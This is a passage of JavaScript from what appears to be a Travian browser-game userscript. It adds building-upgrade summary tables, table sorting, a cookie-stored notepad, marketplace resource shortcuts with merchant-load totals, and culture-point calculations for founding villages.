1)) + '\">'\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// TMR\n\t\t\t\t\t\t// changed this to use (j+1) so it shows what i'm upgrading to, not upgrading from\n\t\t\t\t\t\tif (j > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\timagen += '<img src=\"' + img('g/s/s' + j + '.gif') + '\" style=\"position:relative; bottom:51px; ' + ((textDirection == 'ltr') ? 'left' : 'right') + ':27px;\" height=\"12\" border=\"0\">';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//\timagen += '<img src=\"data:image/gif;base64,' + imagenes[\"s\" + j] + '\" style=\"position:relative; bottom:53px; left:26px;\"height=\"12\" border=\"0\">';\n\t\t\t\t\t\timagen += '</div>';\n\t\t\t\t\t\tvar td = $elem(\"TD\", imagen, {}, {}, fila3);\n\n\t\t\t\t\t\tvar restante = calculateResourceTime(buildingCost[i][j + 1]);\n\t\t\t\t\t\tvar td3 = $elem('TD', '', {}, {\n\t\t\t\t\t\t\t'color': '#808080',\n\t\t\t\t\t\t\t'fontSize': '11px',\n\t\t\t\t\t\t\t'verticalAlign': 'top'\n\t\t\t\t\t\t}, fila3);\n\t\t\t\t\t\ttable2.appendChild(fila3);\n\n\t\t\t\t\t\tif (restante != null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttd3.setAttribute('valign', 'bottom');\n\t\t\t\t\t\t\ttd3.innerHTML = restante;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttd3.setAttribute('valign', 'center');\n\t\t\t\t\t\t\ttd3.innerHTML = '<br/><a style=\"color: #FF8C00\"; \"href=\"build.php?id=' + grid[i][j] + '>' + T('SUBIR_NIVEL') + '</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (datos == 1)\n\t\t\t{\n\t\t\t\tvar middleblock = get('lmidall');\n\t\t\t\tif(textDirection != \"rtl\")\n\t\t\t\t{\n\t\t\t\t\tmiddleblock.appendChild($elem('BR'));\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tvar TableY = longitudPantalla() + 'px';\n\t\t\t\t\ttable.style.top = TableY;\n\t\t\t\t\ttable.style.position = \"absolute\";\n\t\t\t\t}\n\t\t\t\tmiddleblock.appendChild(table);\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Faire une page de résumé des bâtiments dans le village */\n\tfunction preCalculate2()\n\t{\n\t\ttableaudorf2 = readCookie(\"tableaudorf2\" + server);\n\t\tif (tableaudorf2 == true || tableaudorf2 == null)\n\t\t{\n\t\t\tvar edificiosPorFila = 4; // hany epulet legyen egy sorban\n\t\t\tvar datos = 0;\n\t\t\tvar buildingsImages = new Array();\n\t\t\tvar buildingsDescs = new Array();\n\t\t\tvar buildingsLinks = new Array();\n\n\t\t\t// recoge los nombres de cada uno\n\t\t\tvar xpathResult = find('//map[@name=\"map1\"]/area/@title', XPIter);\n\t\t\twhile ((buildingsDescs[buildingsDescs.length] = xpathResult.iterateNext()))\n\t\t\t{\n\t\t\t}\n\n\t\t\t// los enlaces para acceder directamente a ellos\n\t\t\txpathResult = find('//map[@name=\"map1\"]/area/@href', XPIter);\n\t\t\twhile ((buildingsLinks[buildingsLinks.length] = xpathResult.iterateNext()))\n\t\t\t{\n\t\t\t}\n\n\t\t\t// Procesa as imagenes de los edificios\n\t\t\tvar xpathResult = find('//div[@id=\"lmid2\"]/img/@src', XPIter);\n\t\t\tbuildingsImages[0] = document.createTextNode(img(\"g/g16.gif\"));\n\t\t\twhile ((buildingsImages[buildingsImages.length] = xpathResult.iterateNext()))\n\t\t\t{\n\t\t\t}\n\t\t\t// Soporte para murallas\n\t\t\tvar a = find(\"//div[starts-with(@class, 'd2_x')]\", XPFirst);\n\t\t\tif (a)\n\t\t\t{\n\t\t\t\tswitch (a.className)\n\t\t\t\t{\n\t\t\t\t\tcase 'd2_x d2_0':\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'd2_x d2_1':\n\t\t\t\t\t\tvar b = \"g/g31.gif\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'd2_x d2_11':\n\t\t\t\t\t\tvar b = \"g/g32.gif\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'd2_x d2_12':\n\t\t\t\t\t\tvar b = \"g/g33.gif\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (b)\n\t\t\t\t\tbuildingsImages[buildingsDescs.length - 4] = document.createTextNode(img(b));\n\t\t\t}\n\n\t\t\tvar table = $elem('TABLE', '', {\n\t\t\t\t\"id\": \"resumen\",\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": textDirection == \"ltr\" ? \"left\" : \"right\",\n\t\t\t\t\"cellspacing\": \"1\",\n\t\t\t\t\"cellpadding\": \"2\"\n\t\t\t}, {\"clear\":\"both\"});\n\t\t\tvar j = 0;\n\t\t\tfor (var i = 0; i < buildingsDescs.length - 3; i++)\n\t\t\t{\n\t\t\t\tif (buildingsDescs[i] != null && basename(buildingsImages[i].nodeValue) != 'iso.gif')\n\t\t\t\t{\n\t\t\t\t\t// Por cada edificio se recoge su nivel y su codigo en el juego\n\t\t\t\t\tvar buildingLevel = buildingsDescs[i].nodeValue.split(\" \");\n\t\t\t\t\tbuildingLevel = parseInt(buildingLevel[buildingLevel.length - 1]);\n\n\t\t\t\t\tvar buildingCode = buildingsImages[i].nodeValue.split(\"/\");\n\t\t\t\t\tbuildingCode = buildingCode[buildingCode.length - 1].split(\".\");\n\t\t\t\t\tif (buildingCode[0].search(/(\\d+)/))\n\t\t\t\t\t\tbuildingCode = parseInt(RegExp.$1);\n\t\t\t\t\t//\t\t\t\tbuildingCode = parseInt(buildingCode[0].substring(1, buildingCode[0].length));\n\n\t\t\t\t\t// Si es actualizable se muestra junto con los recursos que necesita\n\t\t\t\t\tif (buildingCost[buildingCode] != null && buildingCost[buildingCode][buildingLevel + 1] != null)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Se reparten los edificios entre las columnas disponibles en las filas que haga falta\n\t\t\t\t\t\tif (j % edificiosPorFila == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar fila = $elem('TR');\n\t\t\t\t\t\t\ttable.appendChild(fila);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tj++;\n\t\t\t\t\t\tdatos = 1;\n\n\t\t\t\t\t\t// Soporte para murallas\n\t\t\t\t\t\tswitch (buildingCode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//31,32,33 - palisade, wall, earth wall\n\t\t\t\t\t\t\tcase 31:\n\t\t\t\t\t\t\t\tbuildingsImages[i].nodeValue = imagenes[\"empalizada\"];\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 32:\n\t\t\t\t\t\t\t\tbuildingsImages[i].nodeValue = imagenes[\"muralla\"];\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 33:\n\t\t\t\t\t\t\t\tbuildingsImages[i].nodeValue = imagenes[\"terraplen\"];\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tvar td = $elem(\"TD\", '', {\n\t\t\t\t\t\t\t'width': '25%',\n\t\t\t\t\t\t\t'valign': 'bottom'\n\t\t\t\t\t\t}, {}, fila);\n\n\t\t\t\t\t\tvar table2 = $elem('TABLE', '', {\n\t\t\t\t\t\t\t\"align\": \"left\",\n\t\t\t\t\t\t\t'class': 'bttable'\n\t\t\t\t\t\t}, {}, td);\n\n\t\t\t\t\t\tvar nametr = $elem('TR', '', {}, {}, table2);\n\n\t\t\t\t\t\tvar tdLink = '<a style=\"font-size:13px\" href=\"' + buildingsLinks[i].nodeValue + '\">' + buildingsDescs[i].nodeValue + '</a>';\n\t\t\t\t\t\tvar nametd = $elem('TD', tdLink, {\n\t\t\t\t\t\t\t'colspan': '2',\n\t\t\t\t\t\t\t'class': 'f10'\n\t\t\t\t\t\t}, {}, nametr);\n\n\t\t\t\t\t\tvar fila2 = $elem('TR', '', {}, {}, table2);\n\n\t\t\t\t\t\tvar tdLink = '<a href=\"' + buildingsLinks[i].nodeValue + '\"><img src=\"' + buildingsImages[i].nodeValue + '\"border=\"0\"></a>';\n\t\t\t\t\t\tvar td2 = $elem(\"TD\", tdLink, {\n\t\t\t\t\t\t\t'class': 'f10'\n\t\t\t\t\t\t}, {}, fila2);\n\n\t\t\t\t\t\tvar restante = calculateResourceTime(buildingCost[buildingCode][buildingLevel + 1]);\n\t\t\t\t\t\tvar td3 = $elem(\"TD\", '', {\n\t\t\t\t\t\t\t'valign': 'bottom'\n\t\t\t\t\t\t}, {\n\t\t\t\t\t\t\t'color': '#808080',\n\t\t\t\t\t\t\t'fontSize': '11px',\n\t\t\t\t\t\t\t'verticalAlign': 'top'\n\t\t\t\t\t\t}, fila2);\n\n\t\t\t\t\t\tif (restante != null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttd3.setAttribute('valign', 'bottom');\n\t\t\t\t\t\t\ttd3.innerHTML = restante;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttd3.setAttribute('valign', 'center');\n\t\t\t\t\t\t\ttd3.innerHTML = '<br/><a href=\"' + buildingsLinks[i].nodeValue + '\" style=\"color: #FF8C00\">' + T('SUBIR_NIVEL') + '</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile (j % edificiosPorFila != 0)\n\t\t\t{\n\t\t\t\tfila.appendChild($elem(\"TD\"));\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif (datos == 1)\n\t\t\t{\n\t\t\t\tvar middleblock = get('lmidall');\n\t\t\t\tif(textDirection != \"rtl\")\n\t\t\t\t{\n\t\t\t\t\tmiddleblock.appendChild($elem('BR'));\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tvar TableY = longitudPantalla() + 'px';\n\t\t\t\t\ttable.style.top = TableY;\n\t\t\t\t\ttable.style.position = \"absolute\";\n\t\t\t\t}\n\t\t\t\tmiddleblock.appendChild(table);\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Commander par ordre croissant et décroissant\n\t *\n\t * Params:\n\t * \tsTableID: \tID de la tabla a ordenar\n\t * \tiCol: \t\tIndice de la columna a ordenar\n\t * \tsDataType:\tTipo de datos de la columna, valor por defecto:texto\n\t */\n\tfunction sortTable(sTableID, iCol, sDataType)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar oTable = get(sTableID);\n\t\t\tvar oTBody = oTable.tBodies[0];\n\t\t\tvar colDataRows = oTBody.rows;\n\t\t\tvar aTRs = new Array;\n\n\t\t\tfor (var i = 0; i < colDataRows.length; i++)\n\t\t\t\taTRs[i] = colDataRows[i];\n\t\t\tif (oTable.getAttribute(\"sortCol\") == iCol)\n\t\t\t\taTRs.reverse();\n\t\t\telse\n\t\t\t\taTRs.sort(generateCompareTRs(iCol, sDataType));\n\n\t\t\tvar oFragment = document.createDocumentFragment();\n\t\t\tfor (var i = 0; i < aTRs.length; i++)\n\t\t\t\toFragment.appendChild(aTRs[i]);\n\n\t\t\toTBody.appendChild(oFragment);\n\t\t\toTable.setAttribute(\"sortCol\", iCol);\n\t\t};\n\t}\n\n\tfunction convert(element, sDataType)\n\t{\n\t\tswitch (sDataType)\n\t\t{\n\t\t\tcase \"int\":\n\t\t\t\treturn ((element.nodeValue == null) || !element.nodeValue.match(/\\d+/)) ? 0 : parseInt(element.nodeValue);\n\t\t\tcase \"float\":\n\t\t\t\treturn ((element.nodeValue == null) || !element.nodeValue.match(/\\d+/)) ? 0 : parseFloat(element.nodeValue);\n\t\t\t//default: return (element == null) ? '' : element.nodeValue.toString().toLowerCase();\n\t\t\tdefault:\n\t\t\t\treturn (element == null) ? '' : element.textContent.toLowerCase();\n\t\t}\n\t}\n\n\tfunction generateCompareTRs(iCol, sDataType)\n\t{\n\t\treturn function compareTRs(oTR1, oTR2)\n\t\t{\n\t\t\tvar vValue1 = convert(oTR1.cells[iCol].firstChild, sDataType);\n\t\t\tvar vValue2 = convert(oTR2.cells[iCol].firstChild, sDataType);\n\n\t\t\tif (vValue1 < vValue2)\n\t\t\t\treturn -1;\n\t\t\telse\n\t\t\t\tif (vValue1 > vValue2)\n\t\t\t\t\treturn 1;\n\t\t\t\telse\n\t\t\t\t\treturn 0;\n\t\t};\n\t}\n\n\t/** La mise en œuvre et affiche un bloc-notes. */\n\tfunction blocNotas2(a)\n\t{\n\t\t// Carga las notas previas si existen\n\t\tvar notas = readCookie(\"notas_\" + server);\n\t\tnotas = (notas) ? unescape(notas) : '';\n\n\t\t// Crea la estructura HTML del bloc\n\t\tvar tabla = $elem(\"TABLE\", '', {\"width\": \"280\"}, {\"whiteSpace\": \"normal\"});\n\t\tvar tr = $elem(\"TR\", '', {}, {}, tabla);\n\t\tvar td = $elem(\"TD\", '', {\"align\": \"center\"}, {}, tr);\n\n\t\tif (notas != null && notas != '')\n\t\t\tvar nl = notas.split(\"\\n\").length;\n\t\tnl = (nl > 20) ? 20 : (nl > 1) ? nl-1 : 1;\n\n\t\tvar imh = $elem(\"IMG\", '', {\n\t\t\t'width': '265',\n\t\t\t\"src\": img('msg/block_bg21.gif', true)\n\t\t}, {}, td);\n\t\tvar textarea = $elem(\"TEXTAREA\", notas, {\n\t\t\t\"cols\": \"30\",\n\t\t\t\"rows\": nl\n\t\t}, {\n\t\t\t'backgroundImage': 'url(' + img('msg/underline.gif', true) + ')',\n\t\t\t'border': '0px',\n\t\t\t'overflow': 'auto'\n\t\t}, td);\n\t\t$elem(\"img\", \"\", {\n\t\t\t\"width\": \"265\",\n\t\t\t\"src\": img(\"msg/block_bg23.gif\", true)\n\t\t}, {}, td);\n\t\tvar p = $elem(\"P\", '', {}, {\n\t\t\t'marginTop': '0px',\n\t\t\t'marginBottom': '0px'\n\t\t}, td);\n\t\tvar input = $elem(\"INPUT\", '', {\n\t\t\t\"type\": \"image\",\n\t\t\t\"border\": \"0\",\n\t\t\t\"src\": img('b/s1.gif', true)\n\t\t}, {}, p);\n\t\tinput.addEventListener(\"click\", function()\n\t\t{\n\t\t\tcreateCookie(\"notas_\" + server, escape(textarea.value), 365);\n\t\t\talert(T('GUARDADO'));\n\t\t\tremoveElement('marcadores');\n\t\t\tmostrarMarcadores();\n\t\t}, 0);\n\t\ta.appendChild(tabla);\n\t}\n\n\t/** Créer une nouvelle colonne dans le marché propose de montrer l'alliance de fournisseurs*/\n\tfunction alianzaMercado()\n\t{\n\t\tif (find(\"//tr[@class='rbg']\", XPFirst) == null)\n\t\t\treturn;\n\t\tvar a = find(\"//tr[@class='rbg']\", XPFirst).parentNode;\n\t\t// Prepara la insercion de la nueva columna\n\t\tvar b = $tags(\"tr\", a);\n\t\t// FIXME: Apa�o para Firefox. FF mete nodos de tipo texto vacios\n\t\tb[0].childNodes[b[0].childNodes.length == 3 ? 1 : 0].setAttribute('colspan', '8');\n\n\t\tif (b[b.length - 1].childNodes[0].tagName == 'TD')\n\t\t\tb[b.length - 1].childNodes[0].setAttribute(\"colspan\", \"8\");\n\t\telse\n\t\t\treturn;\n\n\t\t// Crea e inserta la columna\n\t\tvar columna = $elem(\"TD\");\n\t\tcolumna.innerHTML = T('ALIANZA');\n\t\tb[1].appendChild(columna);\n\n\t\t// Rellena la columna con los nombres de las alianzas\n\t\tfor (var i = 2; i < b.length - 1; i++)\n\t\t{\n\t\t\tvar alianza = $elem(\"TD\");\n\t\t\t// FIXME: Apa�o para Firefox. FF mete nodos de tipo texto vacios\n\t\t\tvar alianza_txt = b[i].childNodes[b[i].childNodes.length == 12 ? 8 : 4].getAttribute('title');\n\t\t\tif (alianza_txt != null)\n\t\t\t\talianza.innerHTML = alianza_txt;\n\t\t\tb[i].appendChild(alianza);\n\t\t}\n\t}\n\n\n\n\n\t/** Créer une fonction qui traite les cas de sélection d'une quantité d'un envoie de matières premières\n\t * desde el mercado\n\t *\n\t * Params:\n\t *\trecurso:\tOrdinal del recurso\n\t *\tcantidad:\tCantidad a incrementar del determinado recurso\n\t *\n\t * Returns:\n\t *\tLa funcion que gestiona el evento\n\t */\n\tfunction crearEventoRecursosMercado(recurso, cantidad)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar max_capacidad = parseInt(find(\"//p//b\", XPFirst).innerHTML);\n\t\t\tvar max_comercian = parseInt(find(\"//table[@class='f10']//tr//td[@colspan='2']\", XPFirst).innerHTML.split(' ')[1].split('/')[0]);\n\t\t\tvar max_transport = max_capacidad * max_comercian;\n\t\t\tif(typeof(cantidad) == \"string\")\n\t\t\t{\n\t\t\t\tvar spentResource = 0;\n\t\t\t\tvar val;\n\t\t\t\tfor(var i = 0; i < 4; i++)\n\t\t\t\t\tif (!isNaN(val = parseInt($tags('input')[i + 1].value)) && i != recurso)\n\t\t\t\t\t\tspentResource += parseInt(val);\n\n\t\t\t\tvar updateValue = max_transport - spentResource;\n\t\t\t\t$tags('input')[recurso + 1].value = ((actual[recurso] <= updateValue) ? actual[recurso] : updateValue);\n\t\t\t\tdispatchOnChange($tags('input')[recurso + 1]);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar a = $tags('input')[recurso + 1].value;\n\t\t\tif (a == '')\n\t\t\t\tvar suma = 0;\n\t\t\telse\n\t\t\t\tvar suma = parseInt(a);\n\t\t\tsuma += cantidad;\n\t\t\t// La quantité à envoyer ne peut pas dépasser ce qui est disponible\n\t\t\tif (suma > actual[recurso])\n\t\t\t\tsuma = actual[recurso];\n\t\t\t// La quantité à envoyer ne doit pas pouvoir dépasser la capacité des commerçants disponibles\n\n\t\t\tif (suma > max_transport)\n\t\t\t\tsuma = max_transport;\n\n\t\t\t$tags('input')[recurso + 1].value = suma;\n\t\t\tdispatchOnChange($tags('input')[recurso + 1]);\n\n\t\t}\n\t}\n\n\tfunction crearEventoRecursosMercado_ALL(cantidad)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar max_capacidad = parseInt(find(\"//p//b\", XPFirst).innerHTML);\n\t\t\tvar max_comercian = parseInt(find(\"//table[@class='f10']//tr//td[@colspan='2']\", XPFirst).innerHTML.split(' ')[1].split('/')[0]);\n\t\t\tvar max_transport = max_capacidad * max_comercian;\n\n\t\t\tvar inputs = $tags('input');\n\n\t\t\tif(typeof(cantidad) == \"string\")\n\t {\n\t\t\t\tfor(var i = 0; i < 5; i++)\n\t\t\t\t{\n\t\t\t\t\tvar spentResource = 0;\n\t\t\t\t\tvar val;\n\t\t\t\t\tfor(var j = 0; j < 4; j++)\n\t\t\t\t\t\tif (!isNaN(val = parseInt(inputs[j + 1].value)))\n\t\t\t\t\t\t\tspentResource += parseInt(val);\n\n\t\t\t\t\tif(i == 4) // Avoid to put resources lost by decimal values\n\t\t\t\t\t{\n\t\t\t\t\t\tif(spentResource != max_transport)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar resLeft = max_transport - spentResource;\n\t\t\t\t\t\t\tvar distArr = new Array(0,0,0,0);\n\t\t\t\t\t\t\tdistArr[0] = distArr[1] = parseInt(resLeft - 2*resLeft/3);\n\t\t\t\t\t\t\tdistArr[2] = resLeft - distArr[0] - distArr[1];\n\t\t\t\t\t\t\tfor(var k = 0; k < 3; k++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(actual[k] >= distArr[k])\n\t\t\t\t\t\t\t\t\tinputs[k + 1].value = parseInt(inputs[k + 1].value) + distArr[k];\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tdistArr[k+1] += distArr[k];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\n\n\t\t\t\t\t\tval = parseInt(inputs[i + 1].value);\n\t\t\t\t\t\tval = ((isNaN(val))?0:val);\n\t\t\t\t\t\tvar updateValue = parseInt(val + ((max_transport - spentResource)/ (4-i)));\n\t\t\t\t\t\tinputs[i + 1].value = ((actual[i] <= updateValue) ? actual[i] : updateValue);\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdispatchOnChange(inputs[1]);\n\t\t\t\treturn;\n\t\t\t}\n\n\n\t\t\tvar recurso = 0;\n\t\t\tfor (var j = 0; j < 4; j++)\n\t\t\t{\n\t\t\t\trecurso = j;\n\t\t\t\tvar a = $tags('input')[recurso + 1].value;\n\t\t\t\tif (a == '')\n\t\t\t\t\tvar suma = 0;\n\t\t\t\telse\n\t\t\t\t\tvar suma = parseInt(a);\n\t\t\t\tif (cantidad != 0)\n\t\t\t\t{\n\t\t\t\t\tsuma += cantidad;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tsuma = 0;\n\t\t\t\t}\n\t\t\t\t// La cantidad a enviar no puede superar lo disponible\n\t\t\t\tif (suma > actual[recurso])\n\t\t\t\t\tsuma = actual[recurso];\n\t\t\t\t// La cantidad a enviar no debe poder superar la capacidad de los comerciantes disponibles\n\n\t\t\t\tif (suma > max_transport)\n\t\t\t\t\tsuma = max_transport;\n\n\t\t\t\t$tags('input')[recurso + 1].value = suma;\n\t\t\t}\n\t\t\tdispatchOnChange($tags('input')[recurso]); // Dispatches the event only once...\n\t\t}\n\t}\n\n\tfunction updateMerchantTotal()\n\t{\n\t\tif (find(\"//input[@type='Text'] | //input[@type='text']\", XPList).snapshotLength != 7)\n\t\t\treturn;\n\n\t\tif(!get('merchantTotal'))\n\t\t{\n\t\t\tvar okButton = find(\"//input[@name='s1']\", XPFirst);\n\t\t\tvar merchEff = $elem('p', T('TOTAL') + ': <span id=\"merchantTotal\">0</span> ('+T('MARC')+': <span id=\"merchantCount\">0</span>, '+T('WASTED_SPACE')+': <span id=\"capacityWasted\">0</span>)',{}, {'fontWeight':'bolder'});\n\t\t\tokButton.parentNode.insertBefore(merchEff, okButton);\n\t\t\tfor (var i = 1; i <= 4; i++)\n\t\t\t{\n\t\t\t\tvar resInput = find(\"//input[@name='r\" + i + \"']\", XPFirst);\n\t\t\t\tresInput.addEventListener(\"keyup\", function() { updateMerchantTotal(); }, 0);\n\t\t\t\tresInput.addEventListener(\"change\", function() { updateMerchantTotal(); }, 0);\n\t\t\t}\n\t\t}\n\n\t\tvar total = 0;\n\t\tfor (var i = 1; i <= 4; i++)\n\t\t{\n\t\t\tvar num = parseInt(find(\"//input[@name='r\" + i + \"']\", XPFirst).value);\n\t\t\tif (!isNaN(num))\n\t\t\t\ttotal += num;\n\t\t}\n\t\tget(\"merchantTotal\").innerHTML = total;\n\t\tvar tmp = find(\"//table[@class='f10']//td[@colspan='2']\", XPFirst).innerHTML;\n\t\tvar merchantsAvailable = parseInt(tmp.substr(tmp.indexOf(' '),tmp.indexOf('/')));\n\t\tvar merchantCapacity = parseInt(find(\"//p//b\", XPFirst).innerHTML);\n\t\tvar merchantCount = total ? parseInt(total / merchantCapacity) : 0;\n\t\tvar extra = total % merchantCapacity;\n\t\tif (extra)\n\t\t\tmerchantCount++;\n\n\t\tget(\"merchantTotal\").parentNode.style.color = ((merchantCount > merchantsAvailable) ? 'red' : 'black');\n\t\tvar capacityWasted = merchantCount * merchantCapacity - total;\n\t\tget(\"merchantCount\").innerHTML = merchantCount;\n\t\tget(\"capacityWasted\").innerHTML = capacityWasted;\n\t}\n\n\t/** Il insère de nouvelles quantités sélectionnables en envoyant des ressources depuis le marché */\n\tfunction recursosMercado()\n\t{\n\t\tif (find(\"//input[@type='Text'] | //input[@type='text']\", XPList).snapshotLength != 7)\n\t\t\treturn;\n\t\tvar span = find(\"//table[@class='f10']//input[@name='x']//ancestor::span\", XPFirst);\n\t\tif (span)\n\t\t\tspan.setAttribute(\"style\", \"white-space: nowrap;\");\n\t\t// Array con las nuevas cantidades\n\t\tvar max_capacidad = parseInt(find(\"//p//b\", XPFirst).innerHTML);\n\n\t\tvar cantidades = [100, 250, 500, 1000, \"Max\"];\n\t\tvar repetido = false;\n\t\tfor (var i = 0; i < cantidades.length; i++)\n\t\t\tif (max_capacidad == cantidades[i])\n\t\t\t{\n\t\t\t\trepetido = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\tif (!repetido)\n\t\t\tcantidades = [100, 250, 500, 1000, max_capacidad, \"Max\"];\n\n\t\tif (max_capacidad == null)\n\t\t{\n\t\t\tmax_capacidad = 500;\n\t\t}\n\t\t//var cantidades =[max_capacidad,max_capacidad*2,max_capacidad*3,max_capacidad*4]\n\t\tvar a = find(\"//table[@class='f10']\", XPFirst);\n\t\tvar k = 0;\n\t\t// FIXME: Apanyo para Firefox. FF mete nodos de tipo texto vacios\n\t\ta = a.childNodes[a.childNodes.length == 2 ? 1 : 0].childNodes;\n\t\tfor (var i = 0; i < a.length; a.length == 8 ? i += 2 : i++)\n\t\t{\n\t\t\t// Se eliminan las posibilidades originales\n\t\t\t// FIXME: Apanyo para Firefox. FF mete nodos de tipo texto vacios\n\t\t\ta[i].removeChild(a[i].childNodes[a[i].childNodes.length > 4 ? 5 : 3]);\n\n\t\t\t// Por cada nueva cantidad y recurso se crea un enlace con el evento asociado\n\t\t\tfor (var j = 0; j < cantidades.length; j++)\n\t\t\t{\n\t\t\t\tvar enlace = $elem('A', '(' + cantidades[j] + ')', {\"href\": \"javascript:void(0)\"}, {'fontSize':'11px'}, a[i]);\n\n\t\t\t\tenlace.addEventListener('click', crearEventoRecursosMercado(k, cantidades[j]), false);\n\t\t\t}\n\t\t\tk++;\n\t\t}\n\n\t\t//add code by Arrack\n\t\t//var a = $elem('DIV');\n\t\tvar a = find(\"//p[@class='txt_menue']\", XPFirst);\n\t\tvar b = $elem('DIV', T('ADD_ALL') + ':', {}, {\n\t\t\t'padding-top': '5px',\n\t\t\t'backgroundColor': '#FFFFCC'\n\t\t}, a);\n\n\t\tfor (var j = 0; j < cantidades.length; j++)\n\t\t{\n\t\t\tvar enlace = $elem('A', '(' + cantidades[j] + ')', {\n\t\t\t\t'href': 'javascript:void(0)'\n\t\t\t}, {}, b);\n\t\t\tenlace.addEventListener('click', crearEventoRecursosMercado_ALL(cantidades[j]), false);\n\t\t}\n\n\t\tvar enlace = $elem('A', '<font color=#FF0000><i>' + T('CLEAN') + '</i></font>', {\n\t\t\t'href': 'javascript:void(0)'\n\t\t}, {}, b);\n\t\tenlace.addEventListener('click', crearEventoRecursosMercado_ALL(0), false);\n\t}\n\n\n\n\t/** Il calcule le nombre de villages selon les points de la culture.\n\t * Funcion estandard no valida para version Speed\n\t *\n\t * Params:\n\t *\tpuntos: cantidad de puntos de cultura\n\t *\n\t * Returns:\n\t * \tel numero de aldeas que se dispone con esos puntos\n\t */\n\tfunction pc2aldeas(puntos)\n\t{\n\t\tif (document.domain.indexOf(\"speed\") > -1)\n\t\t{\n\t\t\treturn Math.round(Math.pow((puntos / 100) / 16 * 3, 1 / 2.3));\n\t\t}\n\t\treturn Math.round(Math.pow((puntos / 1000) / 1.6, 1 / 2.3));\n\t}\n\n\t/** Il calcule le nombre de points requis pour produire une certaine quantité de villages\n\t * Funcion estandard no valida para version Speed\n\t *\n\t * Params:\n\t *\taldeas: numero de aldeas\n\t *\n\t * Returns:\n\t * \tcantidad de puntos de cultura necesarios\n\t */\n\tfunction aldeas2pc(aldeas)\n\t{\n\t\tif (document.domain.indexOf(\"speed\") > -1)\n\t\t{\n\t\t\treturn Math.round(16 / 3 * Math.pow(aldeas, 2.3)) * 100;\n\t\t}\n\t\treturn Math.round(1.6 * Math.pow(aldeas, 2.3)) * 1000;\n\t}\n\n\t/**Il calcule et affiche la culture de points nécessaires pour le prochain village et le temps pour atteindre cet objectif, ou autres villages que l'on peut trouver avec l'actuel points */\n\tfunction puntosCultura()\n\t{\n\t\tvar a = find(\"//div[@id='lmid2']//b\", XPList);\n\t\tif (a.snapshotLength != 5)\n\t\t\treturn;\n\n\t\t// Produccion de puntos de cultura de todas las aldeas\n\t\tvar pc_prod_total = parseInt(a.snapshotItem(2).innerHTML);\n\t\t// Cantidad de puntos de cultura actuales\n\t\tvar pc_actual = parseInt(a.snapshotItem(3).innerHTML);\n\t\t// Puntos de cultura necesarios para fundar la siguiente aldea\n\t\tvar pc_aldea_prox = parseInt(a.snapshotItem(4).innerHTML);\n\n\t\t// Numero de aldeas actuales\n\t\tvar aldeas_actuales = pc2aldeas(pc_aldea_prox);\n\t\t// Numero de aldeas que se pueden tener con los PC actuales\n\t\tvar aldeas_posibles = pc2aldeas(pc_actual);\n\t\tvar texto = new Array();\n\t\ttexto.push('<table class=\"tbg\" align=\"center\" cellspacing=\"1\" cellpadding=\"2\"><tr class=\"rbg\" style=\"font-weight:bold;\"><td>' + T('ALDEA') + '</td><td>' + T('PC') + \"</td></tr>\");\n\t\tfor (var i = 0; i < 6; i++)\n\t\t{\n\t\t\ttexto.push('<tr><td>' + (aldeas_actuales + i + 1) + '</td><td>');\n\n\t\t\t// PC necesarios para conseguir la siguiente aldea\n\t\t\tvar pc_necesarios = aldeas2pc(aldeas_actuales + i);\n\n\t\t\t// Si hay PC de sobra\n\t\t\tif (pc_necesarios < pc_actual)\n\t\t\t\ttexto.push(T('FUNDAR'));\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Tiempo en segundos hasta conseguir los puntos de cultura necesarios\n\t\t\t\tvar tiempo = ((pc_necesarios - pc_actual) / pc_prod_total) * 86400;\n\n\t\t\t\tvar fecha = new Date();\n\t\t\t\tfecha.setTime(fecha.getTime() + (tiempo * 1000));\n\t\t\t\tvar texto_tiempo = calcularTextoTiempo(fecha);\n\n\t\t\t\ttexto.push(T('FALTA') + ' 